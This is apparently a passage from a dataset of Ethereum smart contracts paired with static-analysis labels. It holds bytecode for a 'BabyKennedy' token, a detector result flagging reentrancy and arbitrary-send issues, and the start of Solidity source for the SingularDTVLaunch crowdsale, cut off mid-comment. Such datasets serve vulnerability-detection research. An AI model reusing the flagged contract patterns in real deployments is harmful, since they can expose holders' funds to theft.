ffffffffffffffffffffffff168152602001908152602001600020600061063e611284565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c169092919063ffffffff16565b61128c565b600190509392505050565b6106a0611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461072d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072490612fc3565b60405180910390fd5b600f60149054906101000a900460ff161561077d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077490612f03565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061080d30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061128c565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561085357600080fd5b505afa158015610867573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088b9190612930565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108ed57600080fd5b505afa158015610901573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109259190612930565b6040518363ffffffff1660e01b8152600401610942929190612df3565b602060405180830381600087803b15801561095c57600080fd5b505af1158015610970573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109949190612930565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a1d30610e12565b600080610a28610fb6565b426040518863ffffffff1660e01b8152600401610a4a96959493929190612e45565b6060604051808303818588803b158015610a6357600080fd5b505af1158015610a77573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a9c9190612adc565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff021916908315150217905550680821ab0d44149800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610b9f929190612e1c565b602060405180830381600087803b158015610bb957600080fd5b505af1158015610bcd573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bf19190612a8a565b5050565b60006009905090565b610c06611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c93576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c8a90612fc3565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cb8611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d45576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d3c90612fc3565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610de1611284565b73ffffffffffffffffffffffffffffffffffffffff1614610e0157600080fd5b6000479050610e0f81611c7a565b50565b6000610e5c600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d75565b9050919050565b610e6b611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ef8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610eef90612fc3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600b81526020017f426162794b656e6e656479000000000000000000000000000000000000000000815250905090565b6000611030611029611284565b8484611457565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661107b611284565b73ffffffffffffffffffffffffffffffffffffffff161461109b57600080fd5b60006110a630610e12565b90506110b181611de3565b50565b6110bc611284565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611149576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114090612fc3565b60405180910390fd5b6000811161118c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118390612f83565b60405180910390fd5b6111bb60646111ad83683635c9adc5dea000006120dd90919063ffffffff16565b61215890919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111f29190613063565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112f390613023565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561136c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161136390612f43565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161144a9190613063565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114c7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114be90613003565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611537576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152e90612ee3565b60405180910390fd5b6000811161157a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157190612fe3565b60405180910390fd5b611582610fb6565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115f057506115c0610fb6565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b5357600f60179054906101000a900460ff1615611823573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561167257503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116cc5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117265750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561182257600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176c611284565b73ffffffffffffffffffffffffffffffffffffffff1614806117e25750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117ca611284565b73ffffffffffffffffffffffffffffffffffffffff16145b611821576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181890613043565b60405180910390fd5b5b5b60105481111561183257600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118d65750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118df57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561198a5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119e05750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119f85750600f60179054906101000a900460ff165b15611a995742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a4857600080fd5b601e42611a559190613199565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611aa430610e12565b9050600f60159054906101000a900460ff16158015611b115750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b295750600f60169054906101000a900460ff165b15611b5157611b3781611de3565b60004790506000811115611b4f57611b4e47611c7a565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bfa5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c0457600090505b611c10848484846121a2565b50505050565b6000838311158290611c5e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c559190612ec1565b60405180910390fd5b5060008385611c6d919061327a565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cca60028461215890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cf5573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d4660028461215890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d71573d6000803e3d6000fd5b5050565b6000600654821115611dbc576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611db390612f23565b60405180910390fd5b6000611dc66121cf565b9050611ddb818461215890919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e41577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e6f5781602001602082028036833780820191505090505b5090503081600081518110611ead577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f4f57600080fd5b505afa158015611f63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f879190612930565b81600181518110611fc1577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061202830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461128c565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161208c95949392919061307e565b600060405180830381600087803b1580156120a657600080fd5b505af11580156120ba573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156120f05760009050612152565b600082846120fe9190613220565b905082848261210d91906131ef565b1461214d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214490612fa3565b60405180910390fd5b809150505b92915050565b600061219a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506121fa565b905092915050565b806121b0576121af61225d565b5b6121bb84848461228e565b806121c9576121c8612459565b5b50505050565b60008060006121dc61246b565b915091506121f3818361215890919063ffffffff16565b9250505090565b60008083118290612241576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122389190612ec1565b60405180910390fd5b506000838561225091906131ef565b9050809150509392505050565b600060085414801561227157506000600954145b1561227b5761228c565b600060088190555060006009819055505b565b6000806000806000806122a0876124cd565b9550955095509550955095506122fe86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461253590919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061239385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257f90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123df816125dd565b6123e9848361269a565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516124469190613063565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124a1683635c9adc5dea0000060065461215890919063ffffffff16565b8210156124c057600654683635c9adc5dea000009350935050506124c9565b81819350935050505b9091565b60008060008060008060008060006124ea8a6008546009546126d4565b92509250925060006124fa6121cf565b9050600080600061250d8e87878761276a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061257783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c16565b905092915050565b600080828461258e9190613199565b9050838110156125d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125ca90612f63565b60405180910390fd5b8091505092915050565b60006125e76121cf565b905060006125fe82846120dd90919063ffffffff16565b905061265281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126af8260065461253590919063ffffffff16565b6006819055506126ca8160075461257f90919063ffffffff16565b6007819055505050565b60008060008061270060646126f2888a6120dd90919063ffffffff16565b61215890919063ffffffff16565b9050600061272a606461271c888b6120dd90919063ffffffff16565b61215890919063ffffffff16565b9050600061275382612745858c61253590919063ffffffff16565b61253590919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061278385896120dd90919063ffffffff16565b9050600061279a86896120dd90919063ffffffff16565b905060006127b187896120dd90919063ffffffff16565b905060006127da826127cc858761253590919063ffffffff16565b61253590919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061280661280184613118565b6130f3565b9050808382526020820190508285602086028201111561282557600080fd5b60005b85811015612855578161283b888261285f565b845260208401935060208301925050600181019050612828565b5050509392505050565b60008135905061286e81613756565b92915050565b60008151905061288381613756565b92915050565b600082601f83011261289a57600080fd5b81356128aa8482602086016127f3565b91505092915050565b6000813590506128c28161376d565b92915050565b6000815190506128d78161376d565b92915050565b6000813590506128ec81613784565b92915050565b60008151905061290181613784565b92915050565b60006020828403121561291957600080fd5b60006129278482850161285f565b91505092915050565b60006020828403121561294257600080fd5b600061295084828501612874565b91505092915050565b6000806040838503121561296c57600080fd5b600061297a8582860161285f565b925050602061298b8582860161285f565b9150509250929050565b6000806000606084860312156129aa57600080fd5b60006129b88682870161285f565b93505060206129c98682870161285f565b92505060406129da868287016128dd565b9150509250925092565b600080604083850312156129f757600080fd5b6000612a058582860161285f565b9250506020612a16858286016128dd565b9150509250929050565b600060208284031215612a3257600080fd5b600082013567ffffffffffffffff811115612a4c57600080fd5b612a5884828501612889565b91505092915050565b600060208284031215612a7357600080fd5b6000612a81848285016128b3565b91505092915050565b600060208284031215612a9c57600080fd5b6000612aaa848285016128c8565b91505092915050565b600060208284031215612ac557600080fd5b6000612ad3848285016128dd565b91505092915050565b600080600060608486031215612af157600080fd5b6000612aff868287016128f2565b9350506020612b10868287016128f2565b9250506040612b21868287016128f2565b9150509250925092565b6000612b378383612b43565b60208301905092915050565b612b4c816132ae565b82525050565b612b5b816132ae565b82525050565b6000612b6c82613154565b612b768185613177565b9350612b8183613144565b8060005b83811015612bb2578151612b998882612b2b565b9750612ba48361316a565b925050600181019050612b85565b5085935050505092915050565b612bc8816132c0565b82525050565b612bd781613303565b82525050565b6000612be88261315f565b612bf28185613188565b9350612c02818560208601613315565b612c0b8161344f565b840191505092915050565b6000612c23602383613188565b9150612c2e82613460565b604082019050919050565b6000612c46601a83613188565b9150612c51826134af565b602082019050919050565b6000612c69602a83613188565b9150612c74826134d8565b604082019050919050565b6000612c8c602283613188565b9150612c9782613527565b604082019050919050565b6000612caf601b83613188565b9150612cba82613576565b602082019050919050565b6000612cd2601d83613188565b9150612cdd8261359f565b602082019050919050565b6000612cf5602183613188565b9150612d00826135c8565b604082019050919050565b6000612d18602083613188565b9150612d2382613617565b602082019050919050565b6000612d3b602983613188565b9150612d4682613640565b604082019050919050565b6000612d5e602583613188565b9150612d698261368f565b604082019050919050565b6000612d81602483613188565b9150612d8c826136de565b604082019050919050565b6000612da4601183613188565b9150612daf8261372d565b602082019050919050565b612dc3816132ec565b82525050565b612dd2816132f6565b82525050565b6000602082019050612ded6000830184612b52565b92915050565b6000604082019050612e086000830185612b52565b612e156020830184612b52565b9392505050565b6000604082019050612e316000830185612b52565b612e3e6020830184612dba565b9392505050565b600060c082019050612e5a6000830189612b52565b612e676020830188612dba565b612e746040830187612bce565b612e816060830186612bce565b612e8e6080830185612b52565b612e9b60a0830184612dba565b979650505050505050565b6000602082019050612ebb6000830184612bbf565b92915050565b60006020820190508181036000830152612edb8184612bdd565b905092915050565b60006020820190508181036000830152612efc81612c16565b9050919050565b60006020820190508181036000830152612f1c81612c39565b9050919050565b60006020820190508181036000830152612f3c81612c5c565b9050919050565b60006020820190508181036000830152612f5c81612c7f565b9050919050565b60006020820190508181036000830152612f7c81612ca2565b9050919050565b60006020820190508181036000830152612f9c81612cc5565b9050919050565b60006020820190508181036000830152612fbc81612ce8565b9050919050565b60006020820190508181036000830152612fdc81612d0b565b9050919050565b60006020820190508181036000830152612ffc81612d2e565b9050919050565b6000602082019050818103600083015261301c81612d51565b9050919050565b6000602082019050818103600083015261303c81612d74565b9050919050565b6000602082019050818103600083015261305c81612d97565b9050919050565b60006020820190506130786000830184612dba565b92915050565b600060a0820190506130936000830188612dba565b6130a06020830187612bce565b81810360408301526130b28186612b61565b90506130c16060830185612b52565b6130ce6080830184612dba565b9695505050505050565b60006020820190506130ed6000830184612dc9565b92915050565b60006130fd61310e565b90506131098282613348565b919050565b6000604051905090565b600067ffffffffffffffff82111561313357613132613420565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131a4826132ec565b91506131af836132ec565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156131e4576131e36133c2565b5b828201905092915050565b60006131fa826132ec565b9150613205836132ec565b925082613215576132146133f1565b5b828204905092915050565b600061322b826132ec565b9150613236836132ec565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561326f5761326e6133c2565b5b828202905092915050565b6000613285826132ec565b9150613290836132ec565b9250828210156132a3576132a26133c2565b5b828203905092915050565b60006132b9826132cc565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061330e826132ec565b9050919050565b60005b83811015613333578082015181840152602081019050613318565b83811115613342576000848401525b50505050565b6133518261344f565b810181811067ffffffffffffffff821117156133705761336f613420565b5b80604052505050565b6000613384826132ec565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133b7576133b66133c2565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61375f816132ae565b811461376a57600080fd5b50565b613776816132c0565b811461378157600080fd5b50565b61378d816132ec565b811461379857600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365426162794b656e6e656479207c20742e6d652f626162796b656e6e6564796f6666696369616ca2646970667358221220a22e9241ded847cf42c60ad78f829ed8e97e68ad93738f17f42dc1c98d32111b64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
570
0x11f3f41b623f013566231392896308fc336ded25
pragma solidity ^0.4.15; contract Token { /* This is a slight change to the ERC20 base standard. function totalSupply() constant returns (uint256 supply); is replaced with: uint256 public totalSupply; This automatically creates a getter function for the totalSupply. This is moved to the base contract since public getter functions are not currently recognised as an implementation of the matching abstract function by the compiler. */ /// total amount of tokens uint256 public totalSupply; /// @param _owner The address from which the balance will be retrieved /// @return The balance function balanceOf(address _owner) constant returns (uint256 balance); /// @notice send `_value` token to `_to` from `msg.sender` /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transfer(address _to, uint256 _value) returns (bool success); /// @notice send `_value` token to `_to` from `_from` on the condition it is approved by `_from` /// @param _from The address of the sender /// @param _to The address of the recipient /// @param _value The amount of token to be transferred /// @return Whether the transfer was successful or not function transferFrom(address _from, address _to, uint256 _value) returns (bool success); /// @notice `msg.sender` approves `_spender` to spend `_value` tokens /// @param _spender The address of the account able to transfer the tokens /// @param _value The amount of tokens to be approved for transfer /// @return Whether the approval was successful or not function approve(address _spender, uint256 _value) returns (bool success); /// @param _owner The address of the account owning tokens /// @param _spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address _owner, address _spender) constant returns (uint256 remaining); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); } contract AbstractSingularDTVToken is Token { } /// @title Token Creation contract - Implements token creation functionality. /// @author Stefan George - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="f6858293909798d8919399849193b6959998859398858f85d8989382">[email&#160;protected]</a>> /// @author Razvan Pop - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="1c6e7d666a7d72326c736c5c7f73726f79726f656f32727968">[email&#160;protected]</a>> /// @author Milad Mostavi - <<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="c4a9ada8a5a0eaa9abb7b0a5b2ad84a7abaab7a1aab7bdb7eaaaa1b0">[email&#160;protected]</a>> contract SingularDTVLaunch { string public version = "0.1.0"; event Contributed(address indexed contributor, uint contribution, uint tokens); /* * External contracts */ AbstractSingularDTVToken public singularDTVToken; address public workshop; address public SingularDTVWorkshop = 0xc78310231aA53bD3D0FEA2F8c705C67730929D8f; uint public SingularDTVWorkshopFee; /* * Constants */ uint public CAP; // in wei scale of tokens uint public DURATION; // in seconds uint public TOKEN_TARGET; // Goal threshold in wei scale of tokens /* * Enums */ enum Stages { Deployed, GoingAndGoalNotReached, EndedAndGoalNotReached, GoingAndGoalReached, EndedAndGoalReached } /* * Storage */ address public owner; uint public startDate; uint public fundBalance; uint public valuePerToken; //in wei uint public tokensSent; // participant address => value in Wei mapping (address => uint) public contributions; // participant address => token amount in wei scale mapping (address => uint) public sentTokens; // Initialize stage Stages public stage = Stages.Deployed; modifier onlyOwner() { // Only owner is allowed to do this action. if (msg.sender != owner) { revert(); } _; } modifier atStage(Stages _stage) { if (stage != _stage) { revert(); } _; } modifier atStageOR(Stages _stage1, Stages _stage2) { if (stage != _stage1 && stage != _stage2) { revert(); } _; } modifier timedTransitions() { uint timeElapsed = now - startDate; if (timeElapsed >= DURATION) { if (stage == Stages.GoingAndGoalNotReached) { stage = Stages.EndedAndGoalNotReached; } else if (stage == Stages.GoingAndGoalReached) { stage = Stages.EndedAndGoalReached; } } _; } /* * Contract functions */ /// dev Validates invariants. function checkInvariants() constant internal { if (fundBalance > this.balance) { revert(); } } /// @dev Can be triggered if an invariant fails. function emergencyCall() public returns (bool) { if (fundBalance > this.balance) { if (this.balance > 0 && !SingularDTVWorkshop.send(this.balance)) { revert(); } return true; } return false; } /// @dev Allows user to create tokens if token creation is still going and cap not reached. Returns token count. function fund() public timedTransitions atStageOR(Stages.GoingAndGoalNotReached, Stages.GoingAndGoalReached) payable returns (uint) { uint tokenCount = (msg.value * (10**18)) / valuePerToken; // Token count in wei is rounded down. Sent ETH should be multiples of valuePerToken. require(tokenCount > 0); if (tokensSent + tokenCount > CAP) { // User wants to create more tokens than available. Set tokens to possible maximum. tokenCount = CAP - tokensSent; } tokensSent += tokenCount; uint contribution = (tokenCount * valuePerToken) / (10**18); // Ether spent by user. // Send change back to user. if (msg.value > contribution && !msg.sender.send(msg.value - contribution)) { revert(); } // Update fund and user&#39;s balance and total supply of tokens. fundBalance += contribution; contributions[msg.sender] += contribution; sentTokens[msg.sender] += tokenCount; if (!singularDTVToken.transfer(msg.sender, tokenCount)) { // Tokens could not be issued. revert(); } // Update stage if (stage == Stages.GoingAndGoalNotReached) { if (tokensSent >= TOKEN_TARGET) { stage = Stages.GoingAndGoalReached; } } // not an else clause for the edge case that the CAP and TOKEN_TARGET are reached in one call if (stage == Stages.GoingAndGoalReached) { if (tokensSent == CAP) { stage = Stages.EndedAndGoalReached; } } checkInvariants(); Contributed(msg.sender, contribution, tokenCount); return tokenCount; } /// @dev Allows user to withdraw ETH if token creation period ended and target was not reached. Returns contribution. function withdrawContribution() public timedTransitions atStage(Stages.EndedAndGoalNotReached) returns (uint) { // We get back the tokens from the contributor before giving back his contribution uint tokensReceived = sentTokens[msg.sender]; sentTokens[msg.sender] = 0; if (!singularDTVToken.transferFrom(msg.sender, owner, tokensReceived)) { revert(); } // Update fund&#39;s and user&#39;s balance and total supply of tokens. uint contribution = contributions[msg.sender]; contributions[msg.sender] = 0; fundBalance -= contribution; // Send ETH back to user. if (contribution > 0) { msg.sender.transfer(contribution); } checkInvariants(); return contribution; } /// @dev Withdraws ETH to workshop address. Returns success. function withdrawForWorkshop() public timedTransitions atStage(Stages.EndedAndGoalReached) returns (bool) { uint value = fundBalance; fundBalance = 0; require(value > 0); uint networkFee = value * SingularDTVWorkshopFee / 100; workshop.transfer(value - networkFee); SingularDTVWorkshop.transfer(networkFee); uint remainingTokens = CAP - tokensSent; if (remainingTokens > 0 && !singularDTVToken.transfer(owner, remainingTokens)) { revert(); } checkInvariants(); return true; } /// @dev Allows owner to get back unsent tokens in case of launch failure (EndedAndGoalNotReached). function withdrawUnsentTokensForOwner() public timedTransitions atStage(Stages.EndedAndGoalNotReached) returns (uint) { uint remainingTokens = CAP - tokensSent; if (remainingTokens > 0 && !singularDTVToken.transfer(owner, remainingTokens)) { revert(); } checkInvariants(); return remainingTokens; } /// @dev Sets token value in Wei. /// @param valueInWei New value. function changeValuePerToken(uint valueInWei) public onlyOwner atStage(Stages.Deployed) returns (bool) { valuePerToken = valueInWei; return true; } // updateStage allows calls to receive correct stage. It can be used for transactions but is not part of the regular token creation routine. // It is not marked as constant because timedTransitions modifier is altering state and constant is not yet enforced by solc. /// @dev returns correct stage, even if a function with timedTransitions modifier has not 